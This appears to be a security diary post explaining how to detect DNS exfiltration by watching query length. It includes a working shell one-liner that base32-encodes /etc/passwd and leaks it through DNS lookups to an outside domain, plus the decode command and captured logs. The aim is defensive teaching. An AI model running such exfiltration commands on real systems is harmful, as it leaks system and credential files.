DNS Query Length... Because Size Does Matter
In many cases, DNS remains a goldmine to detect potentially malicious activity. DNS can be used in multiple ways to bypass security controls. DNS tunnelling is a common way to establish connections with remote systems. It is often based on "TXT" records used to deliver the encoded payload. "TXT" records are also used for good reasons, like delivering SPF records but, too many TXT DNS request could mean that something weird is happening on your network.
Instead of using TXT records, data exfiltration may occur directly via the FQDN ("Fully Qualified Domain Name"). The RFC 1035[1] states that a DNS query length is 255 characters total with each subdomain being 63 characters or less. By using Base32 encoding[2], we can encode our data in strings compatible with the DNS requirements: "A-Z", "0-9" and "-". It is easy to exfiltrate a file with the following shell command. We encode our juicy file (/etc/passwd in this example) and generate DNS request to a domain controlled by the attacker:
$ cat /etc/passwd | base32 -w 63 | while read L do dig $L.data.rootshell.be @192.168.254.8 done
Note: the parameter '-w 63' prevent the encoding process from breaking the RFC. On the DNS side, here is what we get:
$ grep 'data.rootshell.be' queries.log 20-Apr-2017 08:32:11.075 queries: info: client 172.x.x.x#44635: query: OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be IN A +E (192.168.254.8) 20-Apr-2017 08:32:11.113 queries: info: client 172.x.x.X#50081: query: YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be IN A +E (192.168.254.8) 20-Apr-2017 08:32:11.173 queries: info: client 172.x.x.x#40457: query: QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be IN A +E (192.168.254.8) 20-Apr-2017 08:32:11.222 queries: info: client 172.x.x.x#56897: query: 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be IN A +E (192.168.254.8) 20-Apr-2017 08:32:11.276 queries: info: client 172.x.x.x#57339: query: GOTYHI2DUNRVGUZTIOTTPFXGGORPMJUW4ORPMJUW4L3TPFXGGCTHMFWWK4Z2PA5.data.rootshell.be IN A +E (192.168.254.8) ...
To decode this on the attacker's host, use the following command:
$ grep 'data.rootshell.be' queries.log | cut -d ' ' -f8 | cut -d '.' -f1| base32 -d | more root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin ...
We don't need full access to the DNS server. If we have access to the network, we just have to sniff some traffic:
# tcpdump -vvv -s 0 -i eth0 -l -n port 53 | egrep "A\? .*\.data\.rootshell\.be" tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 172.x.x.x.40335 > 192.168.254.8.53: [udp sum ok] 9843+ [1au] A? OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be. ar: . OPT UDPsize=4096 (110) 172.x.x.x.35770 > 192.168.254.8.53: [udp sum ok] 19877+ [1au] A? YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be. ar: . OPT UDPsize=4096 (110) 172.x.x.x.41463 > 192.168.254.8.53: [udp sum ok] 29267+ [1au] A? QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be. ar: . OPT UDPsize=4096 (110) 172.x.x.x.38048 > 192.168.254.8.53: [udp sum ok] 30042+ [1au] A? 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be. ar: . OPT UDPsize=4096 (110) ...
As you can see, we just used standard DNS requests to exfiltrate data. To detect this, keep an eye on your DNS logs and particularly the query length. The following graph is generated from the DNS logs processed by a Splunk instance. It is helpful to see the distribution of query length across the network:
But, as usual, not all big DNS queries are suspicious. Some CDN's are using queries to identify files. Example:
hxxps://2ecffd01e1ab3e9383f0-07db7b9624bbdf022e3b5395236d5cf8.ssl.cf4.rackcdn.com/Product/178ee827-0671-4f17-b75b-2022963f5980.pdf
To reduce the risk of false positives, this control can be combined with others:
- The volume of traffic per IP
- The volume of traffic per (sub-)domain
- White-lists
This technique is not new but comes back regularly in front of the stage. The malware 'Wekby'[3] discovered in 2016 was already using this technique for C2 communications.
[1] https://www.ietf.org/rfc/rfc1035.txt
[2] https://en.wikipedia.org/wiki/Base32
[3] http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/
Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key
Comments